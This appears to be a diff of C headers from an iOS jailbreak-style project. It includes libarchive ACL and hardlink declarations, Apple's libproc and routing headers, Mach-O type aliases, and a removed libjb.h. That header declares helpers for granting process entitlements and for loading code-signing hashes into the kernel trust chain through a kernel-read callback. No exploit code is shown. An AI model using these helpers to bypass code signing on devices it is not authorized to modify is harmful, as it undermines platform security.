||||
* TODO: Extend this to support NFSv4/NTFS permissions. That should
|
||||
* allow full ACL support on Mac OS, in particular, which uses
|
||||
* POSIX.1e-style interfaces to manipulate NFSv4/NTFS permissions.
|
||||
*/
|
||||
|
||||
/*
|
||||
* Permission bits mimic POSIX.1e. Note that I've not followed POSIX.1e's
|
||||
* "permset"/"perm" abstract type nonsense. A permset is just a simple
|
||||
* bitmap, following long-standing Unix tradition.
|
||||
*/
|
||||
#define ARCHIVE_ENTRY_ACL_EXECUTE 1
|
||||
#define ARCHIVE_ENTRY_ACL_WRITE 2
|
||||
#define ARCHIVE_ENTRY_ACL_READ 4
|
||||
|
||||
/* We need to be able to specify either or both of these. */
|
||||
#define ARCHIVE_ENTRY_ACL_TYPE_ACCESS 256
|
||||
#define ARCHIVE_ENTRY_ACL_TYPE_DEFAULT 512
|
||||
|
||||
/* Tag values mimic POSIX.1e */
|
||||
#define ARCHIVE_ENTRY_ACL_USER 10001 /* Specified user. */
|
||||
#define ARCHIVE_ENTRY_ACL_USER_OBJ 10002 /* User who owns the file. */
|
||||
#define ARCHIVE_ENTRY_ACL_GROUP 10003 /* Specified group. */
|
||||
#define ARCHIVE_ENTRY_ACL_GROUP_OBJ 10004 /* Group who owns the file. */
|
||||
#define ARCHIVE_ENTRY_ACL_MASK 10005 /* Modify group access. */
|
||||
#define ARCHIVE_ENTRY_ACL_OTHER 10006 /* Public. */
|
||||
|
||||
/*
|
||||
* Set the ACL by clearing it and adding entries one at a time.
|
||||
* Unlike the POSIX.1e ACL routines, you must specify the type
|
||||
* (access/default) for each entry. Internally, the ACL data is just
|
||||
* a soup of entries. API calls here allow you to retrieve just the
|
||||
* entries of interest. This design (which goes against the spirit of
|
||||
* POSIX.1e) is useful for handling archive formats that combine
|
||||
* default and access information in a single ACL list.
|
||||
*/
|
||||
__LA_DECL void archive_entry_acl_clear(struct archive_entry *);
|
||||
__LA_DECL void archive_entry_acl_add_entry(struct archive_entry *,
|
||||
int /* type */, int /* permset */, int /* tag */,
|
||||
int /* qual */, const char * /* name */);
|
||||
__LA_DECL void archive_entry_acl_add_entry_w(struct archive_entry *,
|
||||
int /* type */, int /* permset */, int /* tag */,
|
||||
int /* qual */, const wchar_t * /* name */);
|
||||
|
||||
/*
|
||||
* To retrieve the ACL, first "reset", then repeatedly ask for the
|
||||
* "next" entry. The want_type parameter allows you to request only
|
||||
* access entries or only default entries.
|
||||
*/
|
||||
__LA_DECL int archive_entry_acl_reset(struct archive_entry *, int /* want_type */);
|
||||
__LA_DECL int archive_entry_acl_next(struct archive_entry *, int /* want_type */,
|
||||
int * /* type */, int * /* permset */, int * /* tag */,
|
||||
int * /* qual */, const char ** /* name */);
|
||||
//__LA_DECL int archive_entry_acl_next_w(struct archive_entry *, int /* want_type */,
|
||||
// int * /* type */, int * /* permset */, int * /* tag */,
|
||||
// int * /* qual */, const wchar_t ** /* name */);
|
||||
|
||||
/*
|
||||
* Construct a text-format ACL. The flags argument is a bitmask that
|
||||
* can include any of the following:
|
||||
*
|
||||
* ARCHIVE_ENTRY_ACL_TYPE_ACCESS - Include access entries.
|
||||
* ARCHIVE_ENTRY_ACL_TYPE_DEFAULT - Include default entries.
|
||||
* ARCHIVE_ENTRY_ACL_STYLE_EXTRA_ID - Include extra numeric ID field in
|
||||
* each ACL entry. (As used by 'star'.)
|
||||
* ARCHIVE_ENTRY_ACL_STYLE_MARK_DEFAULT - Include "default:" before each
|
||||
* default ACL entry.
|
||||
*/
|
||||
#define ARCHIVE_ENTRY_ACL_STYLE_EXTRA_ID 1024
|
||||
#define ARCHIVE_ENTRY_ACL_STYLE_MARK_DEFAULT 2048
|
||||
__LA_DECL const wchar_t *archive_entry_acl_text_w(struct archive_entry *,
|
||||
int /* flags */);
|
||||
|
||||
/* Return a count of entries matching 'want_type' */
|
||||
__LA_DECL int archive_entry_acl_count(struct archive_entry *, int /* want_type */);
|
||||
|
||||
/*
|
||||
* Private ACL parser. This is private because it handles some
|
||||
* very weird formats that clients should not be messing with.
|
||||
* Clients should only deal with their platform-native formats.
|
||||
* Because of the need to support many formats cleanly, new arguments
|
||||
* are likely to get added on a regular basis. Clients who try to use
|
||||
* this interface are likely to be surprised when it changes.
|
||||
*
|
||||
* You were warned!
|
||||
*
|
||||
* TODO: Move this declaration out of the public header and into
|
||||
* a private header. Warnings above are silly.
|
||||
*/
|
||||
__LA_DECL int __archive_entry_acl_parse_w(struct archive_entry *,
|
||||
const wchar_t *, int /* type */);
|
||||
|
||||
/*
|
||||
* extended attributes
|
||||
*/
|
||||
|
||||
__LA_DECL void archive_entry_xattr_clear(struct archive_entry *);
|
||||
__LA_DECL void archive_entry_xattr_add_entry(struct archive_entry *,
|
||||
const char * /* name */, const void * /* value */,
|
||||
size_t /* size */);
|
||||
|
||||
/*
|
||||
* To retrieve the xattr list, first "reset", then repeatedly ask for the
|
||||
* "next" entry.
|
||||
*/
|
||||
|
||||
__LA_DECL int archive_entry_xattr_count(struct archive_entry *);
|
||||
__LA_DECL int archive_entry_xattr_reset(struct archive_entry *);
|
||||
__LA_DECL int archive_entry_xattr_next(struct archive_entry *,
|
||||
const char ** /* name */, const void ** /* value */, size_t *);
|
||||
|
||||
/*
|
||||
* Utility to match up hardlinks.
|
||||
*
|
||||
* The 'struct archive_entry_linkresolver' is a cache of archive entries
|
||||
* for files with multiple links. Here's how to use it:
|
||||
* 1. Create a lookup object with archive_entry_linkresolver_new()
|
||||
* 2. Tell it the archive format you're using.
|
||||
* 3. Hand each archive_entry to archive_entry_linkify().
|
||||
* That function will return 0, 1, or 2 entries that should
|
||||
* be written.
|
||||
* 4. Call archive_entry_linkify(resolver, NULL) until
|
||||
* no more entries are returned.
|
||||
* 5. Call archive_entry_link_resolver_free(resolver) to free resources.
|
||||
*
|
||||
* The entries returned have their hardlink and size fields updated
|
||||
* appropriately. If an entry is passed in that does not refer to
|
||||
* a file with multiple links, it is returned unchanged. The intention
|
||||
* is that you should be able to simply filter all entries through
|
||||
* this machine.
|
||||
*
|
||||
* To make things more efficient, be sure that each entry has a valid
|
||||
* nlinks value. The hardlink cache uses this to track when all links
|
||||
* have been found. If the nlinks value is zero, it will keep every
|
||||
* name in the cache indefinitely, which can use a lot of memory.
|
||||
*
|
||||
* Note that archive_entry_size() is reset to zero if the file
|
||||
* body should not be written to the archive. Pay attention!
|
||||
*/
|
||||
struct archive_entry_linkresolver;
|
||||
|
||||
/*
|
||||
* There are three different strategies for marking hardlinks.
|
||||
* The descriptions below name them after the best-known
|
||||
* formats that rely on each strategy:
|
||||
*
|
||||
* "Old cpio" is the simplest, it always returns any entry unmodified.
|
||||
* As far as I know, only cpio formats use this. Old cpio archives
|
||||
* store every link with the full body; the onus is on the dearchiver
|
||||
* to detect and properly link the files as they are restored.
|
||||
* "tar" is also pretty simple; it caches a copy the first time it sees
|
||||
* any link. Subsequent appearances are modified to be hardlink
|
||||
* references to the first one without any body. Used by all tar
|
||||
* formats, although the newest tar formats permit the "old cpio" strategy
|
||||
* as well. This strategy is very simple for the dearchiver,
|
||||
* and reasonably straightforward for the archiver.
|
||||
* "new cpio" is trickier. It stores the body only with the last
|
||||
* occurrence. The complication is that we might not
|
||||
* see every link to a particular file in a single session, so
|
||||
* there's no easy way to know when we've seen the last occurrence.
|
||||
* The solution here is to queue one link until we see the next.
|
||||
* At the end of the session, you can enumerate any remaining
|
||||
* entries by calling archive_entry_linkify(NULL) and store those
|
||||
* bodies. If you have a file with three links l1, l2, and l3,
|
||||
* you'll get the following behavior if you see all three links:
|
||||
* linkify(l1) => NULL (the resolver stores l1 internally)
|
||||
* linkify(l2) => l1 (resolver stores l2, you write l1)
|
||||
* linkify(l3) => l2, l3 (all links seen, you can write both).
|
||||
* If you only see l1 and l2, you'll get this behavior:
|
||||
* linkify(l1) => NULL
|
||||
* linkify(l2) => l1
|
||||
* linkify(NULL) => l2 (at end, you retrieve remaining links)
|
||||
* As the name suggests, this strategy is used by newer cpio variants.
|
||||
* It's noticably more complex for the archiver, slightly more complex
|
||||
* for the dearchiver than the tar strategy, but makes it straightforward
|
||||
* to restore a file using any link by simply continuing to scan until
|
||||
* you see a link that is stored with a body. In contrast, the tar
|
||||
* strategy requires you to rescan the archive from the beginning to
|
||||
* correctly extract an arbitrary link.
|
||||
*/
|
||||
|
||||
__LA_DECL struct archive_entry_linkresolver *archive_entry_linkresolver_new(void);
|
||||
__LA_DECL void archive_entry_linkresolver_set_strategy(
|
||||
struct archive_entry_linkresolver *, int /* format_code */);
|
||||
__LA_DECL void archive_entry_linkresolver_free(struct archive_entry_linkresolver *);
|
||||
__LA_DECL void archive_entry_linkify(struct archive_entry_linkresolver *,
|
||||
struct archive_entry **, struct archive_entry **);
|
||||
|
||||
#ifdef __cplusplus
|
||||
}
|
||||
#endif
|
||||
|
||||
/* This is meaningless outside of this header. */
|
||||
#undef __LA_DECL
|
||||
|
||||
#endif /* !ARCHIVE_ENTRY_H_INCLUDED */
|
||||
+15
-15
@@ -2,24 +2,24 @@
|
||||
#define COMMON_H
|
||||
|
||||
#include <stdint.h> // uint*_t
|
||||
#include <stdbool.h>
|
||||
#include <mach-o/loader.h>
|
||||
#ifdef __OBJC__
|
||||
#include <Foundation/Foundation.h>
|
||||
|
||||
#define LOG(str, args...) do { NSLog(@"[*] " str "\n", ##args); } while(0)
|
||||
#ifdef __LP64__
|
||||
# define ADDR "0x%016llx"
|
||||
# define MACH_HEADER_MAGIC MH_MAGIC_64
|
||||
# define MACH_LC_SEGMENT LC_SEGMENT_64
|
||||
typedef struct mach_header_64 mach_hdr_t;
|
||||
typedef struct segment_command_64 mach_seg_t;
|
||||
typedef uint64_t kptr_t;
|
||||
#define LOG(str, args...) do { NSLog(@"[*] " str "\n", ##args); } while(false)
|
||||
#else
|
||||
# define ADDR "0x%08x"
|
||||
# define MACH_HEADER_MAGIC MH_MAGIC
|
||||
# define MACH_LC_SEGMENT LC_SEGMENT
|
||||
typedef struct mach_header mach_hdr_t;
|
||||
typedef struct segment_command mach_seg_t;
|
||||
typedef uint32_t kptr_t;
|
||||
#include <CoreFoundation/CoreFoundation.h>
|
||||
extern void NSLog(CFStringRef, ...);
|
||||
#define LOG(str, args...) do { NSLog(CFSTR("[*] " str "\n"), ##args); } while(false)
|
||||
#endif
|
||||
|
||||
#define ADDR "0x%016llx"
|
||||
#define MACH_HEADER_MAGIC MH_MAGIC_64
|
||||
#define MACH_LC_SEGMENT LC_SEGMENT_64
|
||||
typedef struct mach_header_64 mach_hdr_t;
|
||||
typedef struct segment_command_64 mach_seg_t;
|
||||
typedef uint64_t kptr_t;
|
||||
typedef struct load_command mach_lc_t;
|
||||
|
||||
#endif
|
||||
|
||||
|
||||
@@ -15,6 +15,7 @@ typedef io_object_t io_connect_t;
|
||||
typedef io_object_t io_iterator_t;
|
||||
|
||||
#define IO_OBJECT_NULL (0)
|
||||
#define kIONVRAMForceSyncNowPropertyKey "IONVRAM-FORCESYNCNOW-PROPERTY"
|
||||
|
||||
enum
|
||||
{
|
||||
|
||||
@@ -1,59 +0,0 @@
|
||||
#ifndef libjb_h_included
|
||||
#define libjb_h_included
|
||||
|
||||
/* entitlements *************************************************************/
|
||||
|
||||
int entitle(uint64_t proc, const char *ent, int verbose);
|
||||
|
||||
/* hdik *********************************************************************/
|
||||
|
||||
int attach(const char *path, char buf[], size_t sz);
|
||||
|
||||
/* mount ********************************************************************/
|
||||
|
||||
struct hfs_mount_args {
|
||||
char *fspec; /* block special device to mount */
|
||||
uid_t hfs_uid; /* uid that owns hfs files (standard HFS only) */
|
||||
gid_t hfs_gid; /* gid that owns hfs files (standard HFS only) */
|
||||
mode_t hfs_mask; /* mask to be applied for hfs perms (standard HFS only) */
|
||||
u_int32_t hfs_encoding; /* encoding for this volume (standard HFS only) */
|
||||
struct timezone hfs_timezone; /* user time zone info (standard HFS only) */
|
||||
int flags; /* mounting flags, see below */
|
||||
int journal_tbuffer_size; /* size in bytes of the journal transaction buffer */
|
||||
int journal_flags; /* flags to pass to journal_open/create */
|
||||
int journal_disable; /* don't use journaling (potentially dangerous) */
|
||||
} args;
|
||||
|
||||
/* hashes *******************************************************************/
|
||||
|
||||
struct trust_dsk {
|
||||
unsigned int version;
|
||||
unsigned char uuid[16];
|
||||
unsigned int count;
|
||||
//unsigned char data[];
|
||||
} __attribute__((packed));
|
||||
|
||||
struct trust_mem {
|
||||
uint64_t next; //struct trust_mem *next;
|
||||
unsigned char uuid[16];
|
||||
unsigned int count;
|
||||
//unsigned char data[];
|
||||
} __attribute__((packed));
|
||||
|
||||
struct hash_entry_t {
|
||||
uint16_t num;
|
||||
uint16_t start;
|
||||
} __attribute__((packed));
|
||||
|
||||
typedef uint8_t hash_t[20];
|
||||
|
||||
extern hash_t *allhash;
|
||||
extern unsigned numhash;
|
||||
extern struct hash_entry_t *amfitab;
|
||||
extern hash_t *allkern;
|
||||
|
||||
/* can be called multiple times. kernel read func & amfi/top trust chain block are optional */
|
||||
int grab_hashes(const char *root, size_t (*kread)(uint64_t, void *, size_t), uint64_t amfi, uint64_t top);
|
||||
|
||||
#endif
|
||||
|
||||
@@ -0,0 +1,97 @@
|
||||
/*
|
||||
* Copyright (c) 2006, 2007 Apple Inc. All rights reserved.
|
||||
*
|
||||
* @APPLE_LICENSE_HEADER_START@
|
||||
*
|
||||
* This file contains Original Code and/or Modifications of Original Code
|
||||
* as defined in and that are subject to the Apple Public Source License
|
||||
* Version 2.0 (the 'License'). You may not use this file except in
|
||||
* compliance with the License. Please obtain a copy of the License at
|
||||
* http://www.opensource.apple.com/apsl/ and read it before using this
|
||||
* file.
|
||||
*
|
||||
* The Original Code and all software distributed under the License are
|
||||
* distributed on an 'AS IS' basis, WITHOUT WARRANTY OF ANY KIND, EITHER
|
||||
* EXPRESS OR IMPLIED, AND APPLE HEREBY DISCLAIMS ALL SUCH WARRANTIES,
|
||||
* INCLUDING WITHOUT LIMITATION, ANY WARRANTIES OF MERCHANTABILITY,
|
||||
* FITNESS FOR A PARTICULAR PURPOSE, QUIET ENJOYMENT OR NON-INFRINGEMENT.
|
||||
* Please see the License for the specific language governing rights and
|
||||
* limitations under the License.
|
||||
*
|
||||
* @APPLE_LICENSE_HEADER_END@
|
||||
*/
|
||||
#ifndef _LIBPROC_H_
|
||||
#define _LIBPROC_H_
|
||||
|
||||
#include <sys/cdefs.h>
|
||||
#include <sys/param.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/stat.h>
|
||||
#include <sys/mount.h>
|
||||
#include <stdint.h>
|
||||
|
||||
#include <sys/proc_info.h>
|
||||
|
||||
/*
|
||||
* This header file contains private interfaces to obtain process information.
|
||||
* These interfaces are subject to change in future releases.
|
||||
*/
|
||||
|
||||
/*!
|
||||
@define PROC_LISTPIDSPATH_PATH_IS_VOLUME
|
||||
@discussion This flag indicates that all processes that hold open
|
||||
file references on the volume associated with the specified
|
||||
path should be returned.
|
||||
*/
|
||||
#define PROC_LISTPIDSPATH_PATH_IS_VOLUME 1
|
||||
|
||||
|
||||
/*!
|
||||
@define PROC_LISTPIDSPATH_EXCLUDE_EVTONLY
|
||||
@discussion This flag indicates that file references that were opened
|
||||
with the O_EVTONLY flag should be excluded from the matching
|
||||
criteria.
|
||||
*/
|
||||
#define PROC_LISTPIDSPATH_EXCLUDE_EVTONLY 2
|
||||
|
||||
__BEGIN_DECLS
|
||||
|
||||
int proc_listpids(uint32_t type, uint32_t typeinfo, void *buffer, int buffersize);
|
||||
|
||||
/*!
|
||||
@function proc_listpidspath
|
||||
@discussion A function which will search through the current
|
||||
processes looking for open file references which match
|
||||
a specified path or volume.
|
||||
@param type types of processes to be searched (see proc_listpids)
|
||||
@param typeinfo adjunct information for type
|
||||
@param path file or volume path
|
||||
@param pathflags flags to control which files should be considered
|
||||
during the process search.
|
||||
@param buffer a C array of int-sized values to be filled with
|
||||
process identifiers that hold an open file reference
|
||||
matching the specified path or volume. Pass NULL to
|
||||
obtain the minimum buffer size needed to hold the
|
||||
currently active processes.
|
||||
@param buffersize the size (in bytes) of the provided buffer.
|
||||
@result the number of bytes of data returned in the provided buffer;
|
||||
-1 if an error was encountered;
|
||||
*/
|
||||
int proc_listpidspath(uint32_t type,
|
||||
uint32_t typeinfo,
|
||||
const char *path,
|
||||
uint32_t pathflags,
|
||||
void *buffer,
|
||||
int buffersize);
|
||||
|
||||
int proc_pidinfo(int pid, int flavor, uint64_t arg, void *buffer, int buffersize);
|
||||
int proc_pidfdinfo(int pid, int fd, int flavor, void * buffer, int buffersize);
|
||||
int proc_name(int pid, void * buffer, uint32_t buffersize);
|
||||
int proc_regionfilename(int pid, uint64_t address, void * buffer, uint32_t buffersize);
|
||||
int proc_kmsgbuf(void * buffer, uint32_t buffersize);
|
||||
int proc_pidpath(int pid, void * buffer, uint32_t buffersize);
|
||||
int proc_libversion(int *major, int * minor);
|
||||
|
||||
__END_DECLS
|
||||
|
||||
#endif /*_LIBPROC_H_ */
|
||||
@@ -0,0 +1,249 @@
|
||||
/*
|
||||
* Copyright (c) 2000-2015 Apple Inc. All rights reserved.
|
||||
*
|
||||
* @APPLE_OSREFERENCE_LICENSE_HEADER_START@
|
||||
*
|
||||
* This file contains Original Code and/or Modifications of Original Code
|
||||
* as defined in and that are subject to the Apple Public Source License
|
||||
* Version 2.0 (the 'License'). You may not use this file except in
|
||||
* compliance with the License. The rights granted to you under the License
|
||||
* may not be used to create, or enable the creation or redistribution of,
|
||||
* unlawful or unlicensed copies of an Apple operating system, or to
|
||||
* circumvent, violate, or enable the circumvention or violation of, any
|
||||
* terms of an Apple operating system software license agreement.
|
||||
*
|
||||
* Please obtain a copy of the License at
|
||||
* http://www.opensource.apple.com/apsl/ and read it before using this file.
|
||||
*
|
||||
* The Original Code and all software distributed under the License are
|
||||
* distributed on an 'AS IS' basis, WITHOUT WARRANTY OF ANY KIND, EITHER
|
||||
* EXPRESS OR IMPLIED, AND APPLE HEREBY DISCLAIMS ALL SUCH WARRANTIES,
|
||||
* INCLUDING WITHOUT LIMITATION, ANY WARRANTIES OF MERCHANTABILITY,
|
||||
* FITNESS FOR A PARTICULAR PURPOSE, QUIET ENJOYMENT OR NON-INFRINGEMENT.
|
||||
* Please see the License for the specific language governing rights and
|
||||
* limitations under the License.
|
||||
*
|
||||
* @APPLE_OSREFERENCE_LICENSE_HEADER_END@
|
||||
*/
|
||||
/*
|
||||
* Copyright (c) 1980, 1986, 1993
|
||||
* The Regents of the University of California. All rights reserved.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions
|
||||
* are met:
|
||||
* 1. Redistributions of source code must retain the above copyright
|
||||
* notice, this list of conditions and the following disclaimer.
|
||||
* 2. Redistributions in binary form must reproduce the above copyright
|
||||
* notice, this list of conditions and the following disclaimer in the
|
||||
* documentation and/or other materials provided with the distribution.
|
||||
* 3. All advertising materials mentioning features or use of this software
|
||||
* must display the following acknowledgement:
|
||||
* This product includes software developed by the University of
|
||||
* California, Berkeley and its contributors.
|
||||
* 4. Neither the name of the University nor the names of its contributors
|
||||
* may be used to endorse or promote products derived from this software
|
||||
* without specific prior written permission.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND
|
||||
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
|
||||
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
|
||||
* ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE
|
||||
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
|
||||
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
|
||||
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
|
||||
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
|
||||
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
|
||||
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
|
||||
* SUCH DAMAGE.
|
||||
*
|
||||
* @(#)route.h 8.3 (Berkeley) 4/19/94
|
||||
* $FreeBSD: src/sys/net/route.h,v 1.36.2.1 2000/08/16 06:14:23 jayanth Exp $
|
||||
*/
|
||||
|
||||
#ifndef _NET_ROUTE_H_
|
||||
#define _NET_ROUTE_H_
|
||||
#include <sys/appleapiopts.h>
|
||||
#include <stdint.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/socket.h>
|
||||
|
||||
/*
|
||||
* These numbers are used by reliable protocols for determining
|
||||
* retransmission behavior and are included in the routing structure.
|
||||
*/
|
||||
struct rt_metrics {
|
||||
u_int32_t rmx_locks; /* Kernel leaves these values alone */
|
||||
u_int32_t rmx_mtu; /* MTU for this path */
|
||||
u_int32_t rmx_hopcount; /* max hops expected */
|
||||
int32_t rmx_expire; /* lifetime for route, e.g. redirect */
|
||||
u_int32_t rmx_recvpipe; /* inbound delay-bandwidth product */
|
||||
u_int32_t rmx_sendpipe; /* outbound delay-bandwidth product */
|
||||
u_int32_t rmx_ssthresh; /* outbound gateway buffer limit */
|
||||
u_int32_t rmx_rtt; /* estimated round trip time */
|
||||
u_int32_t rmx_rttvar; /* estimated rtt variance */
|
||||
u_int32_t rmx_pksent; /* packets sent using this route */
|
||||
u_int32_t rmx_filler[4]; /* will be used for T/TCP later */
|
||||
};
|
||||
|
||||
/*
|
||||
* rmx_rtt and rmx_rttvar are stored as microseconds;
|
||||
*/
|
||||
#define RTM_RTTUNIT 1000000 /* units for rtt, rttvar, as units per sec */
|
||||
|
||||
|
||||
|
||||
#define RTF_UP 0x1 /* route usable */
|
||||
#define RTF_GATEWAY 0x2 /* destination is a gateway */
|
||||
#define RTF_HOST 0x4 /* host entry (net otherwise) */
|
||||
#define RTF_REJECT 0x8 /* host or net unreachable */
|
||||
#define RTF_DYNAMIC 0x10 /* created dynamically (by redirect) */
|
||||
#define RTF_MODIFIED 0x20 /* modified dynamically (by redirect) */
|
||||
#define RTF_DONE 0x40 /* message confirmed */
|
||||
#define RTF_DELCLONE 0x80 /* delete cloned route */
|
||||
#define RTF_CLONING 0x100 /* generate new routes on use */
|
||||
#define RTF_XRESOLVE 0x200 /* external daemon resolves name */
|
||||
#define RTF_LLINFO 0x400 /* generated by link layer (e.g. ARP) */
|
||||
#define RTF_STATIC 0x800 /* manually added */
|
||||
#define RTF_BLACKHOLE 0x1000 /* just discard pkts (during updates) */
|
||||
#define RTF_NOIFREF 0x2000 /* not eligible for RTF_IFREF */
|
||||
#define RTF_PROTO2 0x4000 /* protocol specific routing flag */
|
||||
#define RTF_PROTO1 0x8000 /* protocol specific routing flag */
|
||||
|
||||
#define RTF_PRCLONING 0x10000 /* protocol requires cloning */
|
||||
#define RTF_WASCLONED 0x20000 /* route generated through cloning */
|
||||
#define RTF_PROTO3 0x40000 /* protocol specific routing flag */
|
||||
/* 0x80000 unused */
|
||||
#define RTF_PINNED 0x100000 /* future use */
|
||||
#define RTF_LOCAL 0x200000 /* route represents a local address */
|
||||
#define RTF_BROADCAST 0x400000 /* route represents a bcast address */
|
||||
#define RTF_MULTICAST 0x800000 /* route represents a mcast address */
|
||||
#define RTF_IFSCOPE 0x1000000 /* has valid interface scope */
|
||||
#define RTF_CONDEMNED 0x2000000 /* defunct; no longer modifiable */
|
||||
#define RTF_IFREF 0x4000000 /* route holds a ref to interface */
|
||||
#define RTF_PROXY 0x8000000 /* proxying, no interface scope */
|
||||
#define RTF_ROUTER 0x10000000 /* host is a router */
|
||||
/* 0x20000000 and up unassigned */
|
||||
|
||||
#define RTF_BITS \
|
||||
"\020\1UP\2GATEWAY\3HOST\4REJECT\5DYNAMIC\6MODIFIED\7DONE" \
|
||||
"\10DELCLONE\11CLONING\12XRESOLVE\13LLINFO\14STATIC\15BLACKHOLE" \
|
||||
"\16NOIFREF\17PROTO2\20PROTO1\21PRCLONING\22WASCLONED\23PROTO3" \
|
||||
"\25PINNED\26LOCAL\27BROADCAST\30MULTICAST\31IFSCOPE\32CONDEMNED" \
|
||||
"\33IFREF\34PROXY\35ROUTER"
|
||||
|
||||
/*
|
||||
* Routing statistics.
|
||||
*/
|
||||
struct rtstat {
|
||||
short rts_badredirect; /* bogus redirect calls */
|
||||
short rts_dynamic; /* routes created by redirects */
|
||||
short rts_newgateway; /* routes modified by redirects */
|
||||
short rts_unreach; /* lookups which failed */
|
||||
short rts_wildcard; /* lookups satisfied by a wildcard */
|
||||
};
|
||||
|
||||
/*
|
||||
* Structures for routing messages.
|
||||
*/
|
||||
struct rt_msghdr {
|
||||
u_short rtm_msglen; /* to skip over non-understood messages */
|
||||
u_char rtm_version; /* future binary compatibility */
|
||||
u_char rtm_type; /* message type */
|
||||
u_short rtm_index; /* index for associated ifp */
|
||||
int rtm_flags; /* flags, incl. kern & message, e.g. DONE */
|
||||
int rtm_addrs; /* bitmask identifying sockaddrs in msg */
|
||||
pid_t rtm_pid; /* identify sender */
|
||||
int rtm_seq; /* for sender to identify action */
|
||||
int rtm_errno; /* why failed */
|
||||
int rtm_use; /* from rtentry */
|
||||
u_int32_t rtm_inits; /* which metrics we are initializing */
|
||||
struct rt_metrics rtm_rmx; /* metrics themselves */
|
||||
};
|
||||
|
||||
struct rt_msghdr2 {
|
||||
u_short rtm_msglen; /* to skip over non-understood messages */
|
||||
u_char rtm_version; /* future binary compatibility */
|
||||
u_char rtm_type; /* message type */
|
||||
u_short rtm_index; /* index for associated ifp */
|
||||
int rtm_flags; /* flags, incl. kern & message, e.g. DONE */
|
||||
int rtm_addrs; /* bitmask identifying sockaddrs in msg */
|
||||
int32_t rtm_refcnt; /* reference count */
|
||||
int rtm_parentflags; /* flags of the parent route */
|
||||
int rtm_reserved; /* reserved field set to 0 */
|
||||
int rtm_use; /* from rtentry */
|
||||
u_int32_t rtm_inits; /* which metrics we are initializing */
|
||||
struct rt_metrics rtm_rmx; /* metrics themselves */
|
||||
};
|
||||
|
||||
|
||||
#define RTM_VERSION 5 /* Up the ante and ignore older versions */
|
||||
|
||||
/*
|
||||
* Message types.
|
||||
*/
|
||||
#define RTM_ADD 0x1 /* Add Route */
|
||||
#define RTM_DELETE 0x2 /* Delete Route */
|
||||
#define RTM_CHANGE 0x3 /* Change Metrics or flags */
|
||||
#define RTM_GET 0x4 /* Report Metrics */
|
||||
#define RTM_LOSING 0x5 /* RTM_LOSING is no longer generated by xnu
|
||||
and is deprecated */
|
||||
#define RTM_REDIRECT 0x6 /* Told to use different route */
|
||||
#define RTM_MISS 0x7 /* Lookup failed on this address */
|
||||
#define RTM_LOCK 0x8 /* fix specified metrics */
|
||||
#define RTM_OLDADD 0x9 /* caused by SIOCADDRT */
|
||||
#define RTM_OLDDEL 0xa /* caused by SIOCDELRT */
|
||||
#define RTM_RESOLVE 0xb /* req to resolve dst to LL addr */
|
||||
#define RTM_NEWADDR 0xc /* address being added to iface */
|
||||
#define RTM_DELADDR 0xd /* address being removed from iface */
|
||||
#define RTM_IFINFO 0xe /* iface going up/down etc. */
|
||||
#define RTM_NEWMADDR 0xf /* mcast group membership being added to if */
|
||||
#define RTM_DELMADDR 0x10 /* mcast group membership being deleted */
|
||||
#define RTM_IFINFO2 0x12 /* */
|
||||
#define RTM_NEWMADDR2 0x13 /* */
|
||||
#define RTM_GET2 0x14 /* */
|
||||
|
||||
/*
|
||||
* Bitmask values for rtm_inits and rmx_locks.
|
||||
*/
|
||||
#define RTV_MTU 0x1 /* init or lock _mtu */
|
||||
#define RTV_HOPCOUNT 0x2 /* init or lock _hopcount */
|
||||
#define RTV_EXPIRE 0x4 /* init or lock _expire */
|
||||
#define RTV_RPIPE 0x8 /* init or lock _recvpipe */
|
||||
#define RTV_SPIPE 0x10 /* init or lock _sendpipe */
|
||||
#define RTV_SSTHRESH 0x20 /* init or lock _ssthresh */
|
||||
#define RTV_RTT 0x40 /* init or lock _rtt */
|
||||
#define RTV_RTTVAR 0x80 /* init or lock _rttvar */
|
||||
|
||||
/*
|
||||
* Bitmask values for rtm_addrs.
|
||||
*/
|
||||
#define RTA_DST 0x1 /* destination sockaddr present */
|
||||
#define RTA_GATEWAY 0x2 /* gateway sockaddr present */
|
||||
#define RTA_NETMASK 0x4 /* netmask sockaddr present */
|
||||
#define RTA_GENMASK 0x8 /* cloning mask sockaddr present */
|
||||
#define RTA_IFP 0x10 /* interface name sockaddr present */
|
||||
#define RTA_IFA 0x20 /* interface addr sockaddr present */
|
||||
#define RTA_AUTHOR 0x40 /* sockaddr for author of redirect */
|
||||
#define RTA_BRD 0x80 /* for NEWADDR, broadcast or p-p dest addr */
|
||||
|
||||
/*
|
||||
* Index offsets for sockaddr array for alternate internal encoding.
|
||||
*/
|
||||
#define RTAX_DST 0 /* destination sockaddr present */
|
||||
#define RTAX_GATEWAY 1 /* gateway sockaddr present */
|
||||
#define RTAX_NETMASK 2 /* netmask sockaddr present */
|
||||
#define RTAX_GENMASK 3 /* cloning mask sockaddr present */
|
||||
#define RTAX_IFP 4 /* interface name sockaddr present */
|
||||
#define RTAX_IFA 5 /* interface addr sockaddr present */
|
||||
#define RTAX_AUTHOR 6 /* sockaddr for author of redirect */
|
||||
#define RTAX_BRD 7 /* for NEWADDR, broadcast or p-p dest addr */
|
||||
#define RTAX_MAX 8 /* size of array to allocate */
|
||||
|
||||
struct rt_addrinfo {
|
||||
int rti_addrs;
|
||||
struct sockaddr *rti_info[RTAX_MAX];
|
||||
};
|
||||
|
||||
|
